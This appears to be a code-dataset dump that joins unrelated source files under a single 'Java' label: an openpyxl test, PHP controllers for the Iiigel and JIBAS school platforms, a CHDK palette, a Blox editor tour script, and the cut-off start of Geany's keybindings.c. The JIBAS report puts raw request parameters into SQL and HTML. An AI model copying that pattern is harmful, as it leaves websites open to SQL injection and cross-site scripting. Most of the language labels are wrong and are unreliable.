code
stringlengths
4
1.01M
language
stringclasses
2 values
# Copyright (c) 2010-2015 openpyxl # package imports from openpyxl.reader.strings import read_string_table from openpyxl.tests.helper import compare_xml def test_read_string_table(datadir): datadir.join('reader').chdir() src = 'sharedStrings.xml' with open(src) as content: assert read_string_table(content.read()) == [ 'This is cell A1 in Sheet 1', 'This is cell G5'] def test_empty_string(datadir): datadir.join('reader').chdir() src = 'sharedStrings-emptystring.xml' with open(src) as content: assert read_string_table(content.read()) == ['Testing empty cell', ''] def test_formatted_string_table(datadir): datadir.join('reader').chdir() src = 'shared-strings-rich.xml' with open(src) as content: assert read_string_table(content.read()) == [ 'Welcome', 'to the best shop in town', " let's play "] def test_write_string_table(datadir): from openpyxl.writer.strings import write_string_table datadir.join("reader").chdir() table = ['This is cell A1 in Sheet 1', 'This is cell G5'] content = write_string_table(table) with open('sharedStrings.xml') as expected: diff = compare_xml(content, expected.read()) assert diff is None, diff
Java
<?php namespace Iiigel\Controller; class Iiigel extends \Iiigel\Controller\StaticPage { const DEFAULT_ACTION = 'show'; protected $sRawOutput = NULL; protected $oCloud = NULL; protected $oInterpreter = NULL; protected $oChapter = NULL; protected $oModule = NULL; public function __construct() { if(!isset($GLOBALS['oUserLogin'])) { throw new \Exception(_('error.permission')); } parent::__construct(); $this->oCloud = new \Iiigel\Model\Cloud(); } /** * Loads an environment (= module, chapter and interpreter) based on a given hash (either module hash or chapter hash). * * @param string [$_sHashId = ''] module or chapter hashed ID * @return boolean true if successfully loaded */ protected function loadEnvironment($_sHashId = '') { $this->oChapter = $this->oModule = NULL; if($_sHashId{0} == 'm') { $this->oModule = new \Iiigel\Model\Module($_sHashId); $nCurrentChapter = $this->oModule->nCurrentChapter; if ($nCurrentChapter == 0) { $this->oChapter = new \Iiigel\Model\Chapter(); $oResult = $this->oChapter->getList($this->oModule->nId); if(($aRow = $GLOBALS['oDb']->get($oResult))) { $this->oChapter = new \Iiigel\Model\Chapter($aRow['sHashId']); } else { $this->oChapter = NULL; } } else { $this->oChapter = new \Iiigel\Model\Chapter($nCurrentChapter); } } else { $aTemp = array(); foreach ($this->oView->aCheckedHandins as $oRow) { if ($oRow['sLearn'] !== $_sHashId) { $aTemp[] = $oRow; } } $this->oView->aCheckedHandins = $aTemp; $this->oChapter = new \Iiigel\Model\Chapter($_sHashId); $this->oModule = new \Iiigel\Model\Module(intval($this->oChapter->nIdModule)); } if($this->oModule->nId > 0 && $this->oChapter !== NULL) { if($this->oChapter->sInterpreter !== NULL) { $sInterpreter = '\\Iiigel\\View\\Interpreter\\'.$this->oChapter->sInterpreter; if(class_exists($sInterpreter)) { $this->oInterpreter = new $sInterpreter($this->oCloud); } else { $this->oInterpreter = new \Iiigel\View\Interpreter\File($this->oCloud); } } return TRUE; } else { return FALSE; } } /** * Output rendered static HTML page. * * @return string HTML code */ public function output() { return ($GLOBALS['bAjax'] && $this->sRawOutput !== NULL) ? $this->sRawOutput : $this->oView->render(); } /** * Display the main module training view. * * @param string $_sHashId if module ID, first chapter of this module is shown; if chapter ID, this chapter is shown */ public function show($_sHashId = '') { if($this->loadEnvironment($_sHashId)) { //check if current user is in this module //load module data (incl. chapter) $this->oView->oModule = $this->oModule; $this->oChapter->sText = $this->oChapter->replaceTags( $this->oChapter->sText); $this->oView->oChapter = $this->oChapter; $this->oView->nEditorWaitTime = $GLOBALS['aConfig']['nEditorWaitTime']; $this->oView->bHandin = FALSE; $this->oView->oHandin = NULL; $this->oView->icurrentuserprogress = $this->oModule->getCurrentChapterProgressOrder($GLOBALS['oUserLogin']->nId); $this->loadFile('iiigel'); } else { throw new \Exception(sprintf(_('error.objectload'), $_sHashId)); } } public function lookAtHandin($_sHashId) { $aTemp = array(); foreach ($this->oView->aReviewHandins as $oRow) { if ($oRow['sHashId'] !== $_sHashId) { $aTemp[] = $oRow; } } $this->oView->aReviewHandins = $aTemp; $oHandin = new \Iiigel\Model\Handin($_sHashId); $oGroup = new \Iiigel\Model\Group(intval($oHandin->nIdGroup)); if ($this->hasGroupEditPermission($oGroup->sHashId)) { $this->oCloud = new \Iiigel\Model\Cloud(intval($oHandin->nIdCreator)); $this->oChapter = new \Iiigel\Model\Chapter(intval($oHandin->nIdChapter)); $this->oModule = new \Iiigel\Model\Module(intval($this->oChapter->nIdModule)); if($oHandin->sInterpreter !== NULL) { $sInterpreter = '\\Iiigel\\View\\Interpreter\\'.$oHandin->sInterpreter; if(class_exists($sInterpreter)) { $this->oInterpreter = new $sInterpreter($this->oCloud); } else { $this->oInterpreter = new \Iiigel\View\Interpreter\File($this->oCloud); } $this->oView->oModule = $this->oModule; $this->oChapter->sText = $this->oChapter->replaceTags( $this->oChapter->sText); $this->oView->oChapter = $this->oChapter; $this->oView->nEditorWaitTime = $GLOBALS['aConfig']['nEditorWaitTime']; $this->oView->bHandin = TRUE; $this->oView->oHandin = $oHandin; $this->loadFile('iiigel'); } else { throw new \Exception(sprintf(_('error.objectload'), $_sHashId)); } } else { throw new \Exception(_('error.permission')); } } /** * Loads cloud and sets ->sRawOutput accordingly. */ public function cloud() { $this->sRawOutput = json_encode($this->oCloud->get()); } /** * Interpretes a specific file within a specific chapter. Sets any (HTML) output into ->sRawOutput (without doctype, html, head, body tags). * * @param string $_sHashIdFile hash ID of element to interpret * @param string $_sHashIdChapter hash ID of chapter to be interpreted in (important for correct interpreter) * @param string $_sHashIdHandin hash ID of handin to set interpreter and finding file-content */ public function interpret($_sHashIdFile, $_sHashIdChapter, $_sHashIdHandin = '') { if (strlen($_sHashIdChapter) > 0) { if($this->loadEnvironment($_sHashIdChapter)) { if(($oFile = $this->oCloud->loadFile($_sHashIdFile))) { $this->sRawOutput = $this->oInterpreter->interpret($oFile); return; } } else { throw new \Exception($_sHashIdFile." - ".$_sHashIdChapter); } } else if (strlen($_sHashIdHandin) > 0) { $oHandin = new \Iiigel\Model\Handin($_sHashIdHandin); $this->oCloud = new \Iiigel\Model\Cloud(intval($oHandin->nIdCreator)); $this->oChapter = new \Iiigel\Model\Chapter(intval($oHandin->nIdChapter)); $this->oModule = new \Iiigel\Model\Module(intval($this->oChapter->nIdModule)); if($oHandin->sInterpreter !== NULL) { $sInterpreter = '\\Iiigel\\View\\Interpreter\\'.$oHandin->sInterpreter; if(class_exists($sInterpreter)) { $this->oInterpreter = new $sInterpreter($this->oCloud); } else { $this->oInterpreter = new \Iiigel\View\Interpreter\File($this->oCloud); } if(($oFile = $this->oCloud->loadFile($_sHashIdFile))) { $this->sRawOutput = $this->oInterpreter->interpret($oFile); return; } } else { throw new \Exception($_sHashIdFile." - ".$_sHashIdHandin); } } throw new \Exception(_('error.filenotfound')); } /** * Open a specific file. Sets File() object to ->sRawOutput, allowing to manually redirect in case the MIME type is not text/... * * @param string $_sHashId hash ID of element to open */ public function open($_sHashId) { $this->sRawOutput = json_encode($this->oCloud->loadFile($_sHashId)->getCompleteEntry(TRUE)); } /** * Closes file. * * @param string $_sHashId hash ID of element to close */ public function close($_sHashId) { $this->sRawOutput = $this->oCloud->closeFile($_sHashId); } /** * Save a file's new contents. Does output TRUE on success. * * @param string $_sHashId hash ID of element to be updated * @param string $_sContent new contents */ public function update($_sHashId, $_sContent) { $oFile = $this->oCloud->loadFile($_sHashId); $oFile->sFile = $_sContent; $this->sRawOutput = $oFile->update(); } /** * Create a new file (empty) and returns the new cloud structure. * * @param string $_sHashIdParent hash ID of parent element, if invalid/NULL/empty, element is put to root element * @param string $_sName new file's name */ public function createFile($_sHashIdParent, $_sName) { if($this->oCloud->createFile($_sName, new \Iiigel\Model\Folder($_sHashIdParent, $this->oCloud))) { $this->sRawOutput = json_encode($this->oCloud->get()); } else { $this->sRawOutput = _('error.create'); } } /** * Create a new directory (empty) and returns the new cloud structure. * * @param string $_sHashIdParent hash ID of parent element, if invalid/NULL/empty, element is put to root element * @param string $_sName new folder's name */ public function createDir($_sHashIdParent, $_sName) { if($this->oCloud->createFolder($_sName, new \Iiigel\Model\Folder($_sHashIdParent, $this->oCloud))) { $this->sRawOutput = json_encode($this->oCloud->get()); } else { $this->sRawOutput = _('error.create'); } } /** * Renames any element (either file or folder). Returns new cloud structure. * * @param string $_sHashId hash ID of element to be renamed * @param string $_sNewName new name */ public function rename($_sHashId, $_sNewName) { if($this->oCloud->rename($_sHashId, $_sNewName)) { $this->sRawOutput = json_encode($this->oCloud->get()); } else { $this->sRawOutput = _('error.update'); } } /** * Deletes any element (either file or folder). If folder, all child elements are deleted as well. Returns new cloud structure. * * @param string $_sHashId hash ID of element to be deleted */ public function delete($_sHashId) { if($this->oCloud->delete($_sHashId)) { $this->sRawOutput = json_encode($this->oCloud->get()); } else { $this->sRawOutput = sprintf(_('error.delete'), 'Cloud', $_sHashId); } } /** * Presents a file/folder for download. Uses HTTP headers and dies afterwards. * If element to be downloaded is a folder, this folder gets zip'ed and presented for download. * * @param string $_sHashId hash ID of element to download */ public function download($_sHashId) { //DOWNLOAD a file (presented as download) or ZIP&DOWNLOAD a folder (presented as download) //die() afterwards $oFile = $this->oCloud->loadFile($_sHashId); if ($oFile !== NULL) { $aEntry = $oFile->getCompleteEntry(TRUE); $this->oCloud->closeFile($_sHashId); if ($aEntry['bFilesystem']) { if ($aEntry['sType'] === 'folder') { // ... ZIP } else if (strpos($aEntry['sType'], 'text') !== 0) { $this->redirect($aEntry['sFile'].'?a=download'); } } header('Cache-Control: no-cache, must-revalidate'); header('Expires: Sat, 26 Jul 1997 05:00:00 GMT'); header('Content-Type: '.$aEntry['sType']); header('Content-Length: '.strlen($aEntry['sFile'])); header('Content-Disposition: attachment; filename="'.$aEntry['sName'].'"'); die($aEntry['sFile']); } } /** * Upload a file from the local machine. * * @param string $_sHashId hash ID of folder into which files should be loaded */ public function uploadFromHost($_sHashId) { $oUpload = new \Iiigel\Generic\Upload(); foreach ($oUpload->getFiles() as $sKey => $aFile) { $this->oCloud->uploadFile($aFile, new \Iiigel\Model\Folder($_sHashId, $this->oCloud)); } $this->sRawOutput = json_encode($this->oCloud->get()); } /** * Upload a file from the web. * * @param string $_sHashId hash ID of folder into which files should be loaded * @param string $_sUrl URL to be included */ public function uploadFromUrl($_sHashId, $_sUrl) { //PUSH file_get_contents or curl into cloud from current folder $this->sRawOutput = json_encode($this->oCloud->get()); } /** * Submit a handin for the current chapter. */ public function submit($_sHashIdChapter) { if ($this->loadEnvironment($_sHashIdChapter)) { $sState = $this->oCloud->getCurrentState(); $nIdUser = $GLOBALS['oDb']->escape($GLOBALS['oUserLogin']->nId); $nIdModule = $GLOBALS['oDb']->escape($this->oModule->nId); $nIdChapter = $GLOBALS['oDb']->escape($this->oChapter->nId); $oResult = $GLOBALS['oDb']->query('SELECT user2group.nIdGroup AS nIdGroup FROM user2group, chapter WHERE NOT user2group.bDeleted AND user2group.nIdUser = '.$nIdUser.' AND user2group.nIdModule = '.$nIdModule.' AND user2group.nIdChapter = chapter.nId AND chapter.nId = '.$nIdChapter.' ORDER BY chapter.nOrder DESC LIMIT 1;'); if ($GLOBALS['oDb']->count($oResult) > 0) { if ($aRow = $GLOBALS['oDb']->get($oResult)) { $oResult = $GLOBALS['oDb']->query('SELECT * FROM handin WHERE nIdCreator = '.$nIdUser.' AND nIdGroup = '.$GLOBALS['oDb']->escape($aRow['nIdGroup']).' AND nIdChapter = '.$nIdChapter.' LIMIT 1;'); if ($GLOBALS['oDb']->count($oResult) > 0) { $oHandin = new \Iiigel\Model\Handin($GLOBALS['oDb']->get($oResult)); $oHandin->bCurrentlyUnderReview = !$oHandin->bCurrentlyUnderReview; if ($oHandin->update()) { $this->sRawOutput = $sState; } } else { $oHandin = new \Iiigel\Model\Handin(array( "nIdGroup" => $aRow['nIdGroup'], "nIdChapter" => $this->oChapter->nId, "sInterpreter" => $this->oChapter->sInterpreter, "sCloud" => $sState )); if ($oHandin->create() !== NULL) { $this->sRawOutput = $sState; } } } } } } /** * Accepts a handin for the current chapter. */ public function accept($_sHashId) { $oHandin = new \Iiigel\Model\Handin($_sHashId); $oGroup = new \Iiigel\Model\Group(intval($oHandin->nIdGroup)); if ($this->hasGroupEditPermission($oGroup->sHashId)) { $oChapter = new \Iiigel\Model\Chapter(intval($oHandin->nIdChapter)); $nOrder = $GLOBALS['oDb']->escape($oChapter->nOrder); $nIdModule = $GLOBALS['oDb']->escape($oChapter->nIdModule); $nIdUser = $GLOBALS['oDb']->escape($oHandin->nIdCreator); $nIdGroup = $GLOBALS['oDb']->escape($oGroup->nId); $GLOBALS['oDb']->query('UPDATE `user2group` SET `nIdChapter` = (SELECT `nId` FROM `chapter` WHERE NOT `bDeleted` AND `bLive` AND `nOrder` > '.$nOrder.' AND `nIdModule` = '.$nIdModule.' ORDER BY `nOrder` ASC LIMIT 1) WHERE NOT `bDeleted` AND `nIdUser` = '.$nIdUser.' AND `nIdGroup` = '.$nIdGroup.';'); $this->sRawOutput = ($oHandin->delete()? 'y' : 'n'); } else { throw new \Exception(_('error.permission')); } } /** * Denies a handin for the current chapter. */ public function deny($_sHashId) { $oHandin = new \Iiigel\Model\Handin($_sHashId); $oGroup = new \Iiigel\Model\Group(intval($oHandin->nIdGroup)); if ($this->hasGroupEditPermission($oGroup->sHashId)) { $oHandin->bCurrentlyUnderReview = !$oHandin->bCurrentlyUnderReview; $oHandin->nRound += 1; $this->sRawOutput = ($oHandin->update()? 'y' : 'n'); } else { throw new \Exception(_('error.permission')); } } } ?>
Java
// CHDK palette colors for the s90 // Define color values as needed in this file. #include "palette.h" #include "platform_palette.h" // Playback mode colors unsigned char ply_colors[] = { COLOR_TRANSPARENT, // Placeholder for script colors COLOR_BLACK, // Placeholder for script colors 0x01, // White 0x2B, // Red 0x29, // Dark Red 0x1E, // Light Red 0x99, // Green 0x25, // Dark Green 0x51, // Light Green 0xA1, // Blue 0xA1, // Dark Blue 0xA9, // Light Blue / Cyan 0x17, // Grey 0x61, // Dark Grey 0x16, // Light Grey 0x9A, // Yellow 0x6F, // Dark Yellow 0x66, // Light Yellow 0x61, // Transparent Dark Grey COLOR_BLACK, // Magenta }; // Record mode colors unsigned char rec_colors[] = { COLOR_TRANSPARENT, // Placeholder for script colors COLOR_BLACK, // Placeholder for script colors 0x01, // White 0x2B, // Red 0x29, // Dark Red 0x1E, // Light Red 0x99, // Green 0x25, // Dark Green 0x51, // Light Green 0xA1, // Blue 0xA1, // Dark Blue 0xA9, // Light Blue / Cyan 0x17, // Grey 0x61, // Dark Grey 0x16, // Light Grey 0x9A, // Yellow 0x6F, // Dark Yellow 0x66, // Light Yellow 0x61, // Transparent Dark Grey COLOR_BLACK, // Magenta };
Java
<? /**[N]** * JIBAS Education Community * Jaringan Informasi Bersama Antar Sekolah * * @version: 3.2 (September 03, 2013) * @notes: JIBAS Education Community will be managed by Yayasan Indonesia Membaca (http://www.indonesiamembaca.net) * * Copyright (C) 2009 Yayasan Indonesia Membaca (http://www.indonesiamembaca.net) * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License **[N]**/ ?> <? require_once('../include/errorhandler.php'); require_once('../include/sessioninfo.php'); require_once('../include/common.php'); require_once('../include/config.php'); require_once('../include/db_functions.php'); require_once('../library/departemen.php'); require_once('../include/getheader.php'); $departemen=$_REQUEST['departemen']; $tahunawal=$_REQUEST['tahunawal']; $tahunakhir=$_REQUEST['tahunakhir']; OpenDb(); ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Untitled Document</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <link href="../style/style.css" rel="stylesheet" type="text/css"> <style type="text/css"> <!-- .style2 { font-size: 24px; font-weight: bold; } --> </style><script language="javascript" src="../script/tables.js"></script></head> <body> <table width="100%" border="0"> <tr> <td><?=getHeader($departemen)?></td> </tr> <tr> <td> <p align="center"><strong>STATISTIK MUTASI SISWA</strong><br> <strong>TAHUN : <?=$tahunawal?> s/d <?=$tahunakhir?> </strong><br> <br> <img src="gambar_statistik.php?departemen=<?=$departemen?>&tahunakhir=<?=$tahunakhir?>&tahunawal=<?=$tahunawal?>" ></p> <table width="100%" border="1" align="center" cellpadding="3" cellspacing="0" class="tab" bordercolor="#000000"> <tr class="header"> <td width="5" height="30" align="center">No</td> <td width="54%" height="30" align="center">Jenis Mutasi</td> <td width="31%" height="30">Jumlah </td> </tr> <? $sql1="SELECT * FROM jbsakad.jenismutasi ORDER BY replid"; $result1=QueryDb($sql1); $cnt=1; while ($row1=@mysql_fetch_array($result1)){ $sql2="SELECT COUNT(*) FROM jbsakad.mutasisiswa m,jbsakad.siswa s,jbsakad.kelas k,jbsakad.tahunajaran ta,jbsakad.tingkat ti WHERE s.idkelas=k.replid AND k.idtahunajaran=ta.replid AND k.idtingkat=ti.replid AND ti.departemen='$departemen' AND ta.departemen='$departemen' AND s.statusmutasi='$row1[replid]' AND m.jenismutasi='$row1[replid]' AND s.statusmutasi=m.jenismutasi AND m.nis=s.nis"; $result2=QueryDb($sql2); $row2=@mysql_fetch_row($result2); ?> <tr><td><?=$cnt?></td><td><?=$row1[jenismutasi]?></td><td><?=$row2[0]?>&nbsp;siswa</td></tr> <? $sql3="SELECT COUNT(*),YEAR(m.tglmutasi) FROM mutasisiswa m,siswa s,kelas k,tingkat ti,tahunajaran ta WHERE m.jenismutasi='$row1[replid]' AND YEAR(m.tglmutasi)<='$tahunakhir' AND YEAR(m.tglmutasi)>='$tahunawal' AND m.nis=s.nis AND k.idtahunajaran=ta.replid AND k.idtingkat=ti.replid AND s.idkelas=k.replid AND ta.departemen='$departemen' AND ti.departemen='$departemen' GROUP BY YEAR(m.tglmutasi)"; $result3=QueryDb($sql3); while ($row3=@mysql_fetch_row($result3)){ ?> <tr><td>&nbsp;</td><td>-&nbsp;<?=$row3[1]?></td><td><?=$row3[0]?>&nbsp;siswa</td></tr> <? } $cnt++; } ?> </table> </td> </tr> </table> <script language="javascript"> window.print(); </script> </body> </html>
Java
define(['jquery', 'util.tooltips', 'helper.boxes', 'modules/panel'], function($, tooltips, panel) { /* Grid */ tourStepsGrid = [ { beginning: true, title: 'Welcome to the Blox Visual Editor!', content: '<p>If this is your first time in the Blox Visual Editor, <strong>we recommend following this tour so you can get the most out of Blox</strong>.</p><p>Or, if you\'re experienced or want to dive in right away, just click the close button in the top right at any time.</p>' }, { target: $('li#mode-grid'), title: 'Mode Selector', content: '<p>The Blox Visual Editor is split up into 2 modes.</p><p><ul><li><strong>Grid</strong> &ndash; Build your layouts</li><li><strong>Design</strong> &ndash; Add colors, customize fonts, and more!</li></ul></p>', position: { my: 'top left', at: 'bottom center' } }, { target: $('#layout-selector-select-content'), title: 'Layout Selector', content: '<p style="font-size:12px;">Since you may not want every page to be the same, you may use the Layout Selector to select which page, post, or archive to edit.</p><p style="font-size:12px;">The Layout Selector is based off of inheritance. For example, you can customize the "Page" layout and all pages will follow that layout. Plus, you can customize a specific page and it\'ll be different than all other pages.</p><p style="font-size:12px;">The layout selector will allow you to be as precise or broad as you wish. It\'s completely up to you!</p>', position: { my: 'top center', at: 'bottom center' } }, { target: $('div#box-grid-wizard'), title: 'The Blox Grid', content: '<p>Now we\'re ready to get started with the Blox Grid. In other words, the good stuff.</p><p>To build your first layout, please select a preset to the right to pre-populate the grid. Or, you may select "Use Empty Grid" to start with a completely blank grid.</p><p>Once you have a preset selected, click "Finish".</p>', position: { my: 'right top', at: 'left center' }, nextHandler: { showButton: false, clickElement: '#grid-wizard-button-preset-use-preset, span.grid-wizard-use-empty-grid', message: 'Please click <strong>"Finish"</strong> or <strong>"Use Empty Grid"</strong> to continue.' } }, { iframeTarget: 'div.grid-container', title: 'Adding Blocks', content: '<p>To add a block, simply place your mouse into the grid then click at where you\'d like the top-left point of the block to be.</p><p>Drag your mouse and the block will appear! Once the block appears, you may choose the block type.</p><p>Hint: Don\'t worry about being precise, you may always move or resize the block.</p>', position: { my: 'right top', at: 'left top', adjustY: 100 }, maxWidth: 280 }, { iframeTarget: 'div.grid-container', title: 'Modifying Blocks', content: '\ <p style="font-size:12px;">After you\'ve added the desired blocks to your layout, you may move, resize, delete, or change the options of the block at any time.</p>\ <ul style="font-size:12px;">\ <li><strong>Moving Blocks</strong> &ndash; Click and drag the block. If you wish to move multiple blocks simultaneously, double-click on a block to enter <em>Mass Block Selection Mode</em>.</li>\ <li><strong>Resizing Blocks</strong> &ndash; Grab the border or corner of the block and drag your mouse.</li>\ <li><strong>Block Options (e.g. header image)</strong> &ndash; Hover over the block then click the block options icon in the top-right.</li>\ <li><strong>Deleting Blocks</strong> &ndash; Move your mouse over the desired block, then click the <em>X</em> icon in the top-right.</li>\ </ul>', position: { my: 'right top', at: 'left top', adjustY: 100 }, maxWidth: 280 }, { target: $('#save-button-container'), title: 'Saving', content: '<p>Now that you hopefully have a few changes to be saved, you can save using this spiffy Save button.</p><p>For those of you who like hotkeys, use <strong>Ctrl + S</strong> to save.</p>', position: { my: 'top right', at: 'bottom center' }, tip: 'top right' }, { target: $('li#mode-design a'), title: 'Design Mode', content: '<p>Thanks for sticking with us!</p><p>Now that you have an understanding of the Grid Mode, we hope you stick with us and head on over to the Design Mode.</p>', position: { my: 'top left', at: 'bottom center', adjustY: 5 }, tip: 'top left', buttonText: 'Continue to Design Mode', buttonCallback: function () { $.post(Blox.ajaxURL, { security: Blox.security, action: 'blox_visual_editor', method: 'ran_tour', mode: 'grid', complete: function () { Blox.ranTour['grid'] = true; /* Advance to Design Editor */ $('li#mode-design a').trigger('click'); window.location = $('li#mode-design a').attr('href'); } }); } } ]; /* Design */ tourStepsDesign = [ { beginning: true, title: 'Welcome to the Blox Design Editor!', content: "<p>In the <strong>Design Editor</strong>, you can style your elements however you'd like.</p><p>Whether it's fonts, colors, padding, borders, shadows, or rounded corners, you can use the design editor.</p><p>Stick around to learn more!</p>" }, { target: '#side-panel-top', title: 'Element Selector', content: '<p>The element selector allows you choose which element to edit.</p>', position: { my: 'right top', at: 'left center' }, callback: function () { $('li#element-block-header > span.element-name').trigger('click'); } }, { target: '#toggle-inspector', title: 'Inspector', content: "\ <p>Instead of using the <em>Element Selector</em>, let the Inspector do the work for you.</p>\ <p><strong>Try it out!</strong> Point and right-click on the element you wish to edit and it will become selected!</p>\ ", position: { my: 'top right', at: 'bottom center', adjustX: 10, adjustY: 5 } }, { target: 'window', title: 'Have fun building with Blox!', content: '<p>We hope you find Blox to the most powerful and easy-to-use WordPress framework around.</p><p>If you have any questions, please don\'t hesitate to visit the <a href="http://support.bloxtheme.com/?utm_source=visualeditor&utm_medium=blox&utm_campaign=tour" target="_blank">support forums</a>.</p>', end: true } ]; return { start: function () { if ( Blox.mode == 'grid' ) { var steps = tourStepsGrid; hidePanel(); openBox('grid-wizard'); } else if ( Blox.mode == 'design' ) { var steps = tourStepsDesign; showPanel(); require(['modules/design/mode-design'], function() { showDesignEditor(); }); if ( typeof $('div#panel').data('ui-tabs') != 'undefined' ) selectTab('editor-tab', $('div#panel')); } else { return; } $('<div class="black-overlay"></div>') .hide() .attr('id', 'black-overlay-tour') .css('zIndex', 15) .appendTo('body') .fadeIn(500); $(document.body).qtip({ id: 'tour', // Give it an ID of qtip-tour so we an identify it easily content: { text: steps[0].content + '<div id="tour-next-container"><span id="tour-next" class="tour-button button button-blue">Continue Tour <span class="arrow">&rsaquo;</span></span></div>', title: { text: steps[0].title, // ...and title button: 'Skip Tour' } }, style: { classes: 'qtip-tour', tip: { width: 18, height: 10, mimic: 'center', offset: 10 } }, position: { my: 'center', at: 'center', target: $(window), // Also use first steps position target... viewport: $(window), // ...and make sure it stays on-screen if possible adjust: { y: 5, method: 'shift shift' } }, show: { event: false, // Only show when show() is called manually ready: true, // Also show on page load, effect: function () { $(this).fadeIn(500); } }, hide: false, // Don't hide unless we call hide() events: { render: function (event, api) { $('#iframe-notice').remove(); hideIframeOverlay(); openBox('grid-wizard'); // Grab tooltip element var tooltip = api.elements.tooltip; // Track the current step in the API api.step = 0; // Bind custom custom events we can fire to step forward/back tooltip.bind('next', function (event) { /* For some reason trigger window resizing helps tooltip positioning */ $(window).trigger('resize'); // Increase/decrease step depending on the event fired api.step += 1; api.step = Math.min(steps.length - 1, Math.max(0, api.step)); // Set new step properties currentTourStep = steps[api.step]; $('div#black-overlay-tour').fadeOut(100, function () { $(this).remove(); }); //Run the callback if it exists if ( typeof currentTourStep.callback === 'function' ) { currentTourStep.callback.apply(api); } if ( currentTourStep.target == 'window' ) { currentTourStep.target = $(window); } else if ( typeof currentTourStep.target == 'string' ) { currentTourStep.target = $(currentTourStep.target); } else if ( typeof currentTourStep.iframeTarget == 'string' ) { currentTourStep.target = $i(currentTourStep.iframeTarget).first(); } api.set('position.target', currentTourStep.target); if ( typeof currentTourStep.maxWidth !== 'undefined' && window.innerWidth < 1440 ) { $('.qtip-tour').css('maxWidth', currentTourStep.maxWidth); } else { $('.qtip-tour').css('maxWidth', 350); } /* Set up button */ var buttonText = 'Next'; if ( typeof currentTourStep.buttonText == 'string' ) var buttonText = currentTourStep.buttonText; if ( typeof currentTourStep.end !== 'undefined' && currentTourStep.end === true ) { var button = '<div id="tour-next-container"><span id="tour-finish" class="tour-button button button-blue">Close Tour <span class="arrow">&rsaquo;</span></div>'; } else if ( typeof currentTourStep.nextHandler === 'undefined' || currentTourStep.nextHandler.showButton ) { var button = '<div id="tour-next-container"><span id="tour-next" class="tour-button button button-blue">' + buttonText + ' <span class="arrow">&rsaquo;</span></div>'; } else { var button = '<div id="tour-next-container"><p>' + currentTourStep.nextHandler.message + '</p></div>'; } /* Next Handler Callback... Be able to use something other than the button */ if ( typeof currentTourStep.nextHandler !== 'undefined' && $(currentTourStep.nextHandler.clickElement) ) { var nextHandlerCallback = function (event) { $('.qtip-tour').triggerHandler('next'); event.preventDefault(); $(this).unbind('click', nextHandlerCallback); } $(currentTourStep.nextHandler.clickElement).bind('click', nextHandlerCallback); } /* Set the Content */ api.set('content.text', currentTourStep.content + button); api.set('content.title', currentTourStep.title); if ( typeof currentTourStep.end === 'undefined' ) { /* Position */ if ( typeof currentTourStep.position !== 'undefined' ) { api.set('position.my', currentTourStep.position.my); api.set('position.at', currentTourStep.position.at); /* Offset/Adjust */ if ( typeof currentTourStep.position.adjustX !== 'undefined' ) { api.set('position.adjust.x', currentTourStep.position.adjustX); } else { api.set('position.adjust.x', 0); } if ( typeof currentTourStep.position.adjustY !== 'undefined' ) { api.set('position.adjust.y', currentTourStep.position.adjustY); } else { api.set('position.adjust.y', 0); } } else { api.set('position.my', 'top center'); api.set('position.at', 'bottom center'); } if ( typeof currentTourStep.tip !== 'undefined' ) api.set('style.tip.corner', currentTourStep.tip); } else { api.set('position.my', 'center'); api.set('position.at', 'center'); } }); /* Tour Button Bindings */ $('div.qtip-tour').on('click', 'span#tour-next', function (event) { /* Callback that fires upon button click... Used for advancing to Design Editor */ if ( typeof currentTourStep == 'object' && typeof currentTourStep.buttonCallback == 'function' ) currentTourStep.buttonCallback.call(); $('.qtip-tour').triggerHandler('next'); event.preventDefault(); }); $('div.qtip-tour').on('click', 'span#tour-finish', function (event) { $('.qtip-tour').qtip('hide'); }); }, // Destroy the tooltip after it hides as its no longer needed hide: function (event, api) { $('div#tour-overlay').remove(); $('div#black-overlay-tour').fadeOut(100, function () { $(this).remove(); }); $('.qtip-tour').fadeOut(100, function () { $(this).qtip('destroy'); }); //Tell the DB that the tour has been ran if ( Blox.ranTour[Blox.mode] == false && Blox.ranTour.legacy != true ) { $.post(Blox.ajaxURL, { security: Blox.security, action: 'blox_visual_editor', method: 'ran_tour', mode: Blox.mode }); Blox.ranTour[Blox.mode] = true; } } } }); } } });
Java
/* * keybindings.c - this file is part of Geany, a fast and lightweight IDE * * Copyright 2006-2012 Enrico Tröger <enrico(dot)troeger(at)uvena(dot)de> * Copyright 2006-2012 Nick Treleaven <nick(dot)treleaven(at)btinternet(dot)com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ /** * @file keybindings.h * Configurable keyboard shortcuts. * - keybindings_send_command() mimics a built-in keybinding action. * - @ref GeanyKeyGroupID lists groups of built-in keybindings. * @see plugin_set_key_group(). **/ #include "geany.h" #include <gdk/gdkkeysyms.h> #include <string.h> #include "keybindings.h" #include "support.h" #include "utils.h" #include "ui_utils.h" #include "document.h" #include "documentprivate.h" #include "filetypes.h" #include "callbacks.h" #include "prefs.h" #include "msgwindow.h" #include "editor.h" #include "sciwrappers.h" #include "build.h" #include "tools.h" #include "navqueue.h" #include "symbols.h" #include "vte.h" #include "toolbar.h" #include "sidebar.h" #include "notebook.h" #include "geanywraplabel.h" #include "main.h" #include "search.h" #ifdef HAVE_VTE # include "vte.h" #endif GPtrArray *keybinding_groups; /* array of GeanyKeyGroup pointers, in visual order */ /* keyfile group name for non-plugin KB groups */ static const gchar keybindings_keyfile_group_name[] = "Bindings"; /* core keybindings */ static GeanyKeyBinding binding_ids[GEANY_KEYS_COUNT]; static GtkAccelGroup *kb_accel_group = NULL; static const gboolean swap_alt_tab_order = FALSE; /* central keypress event 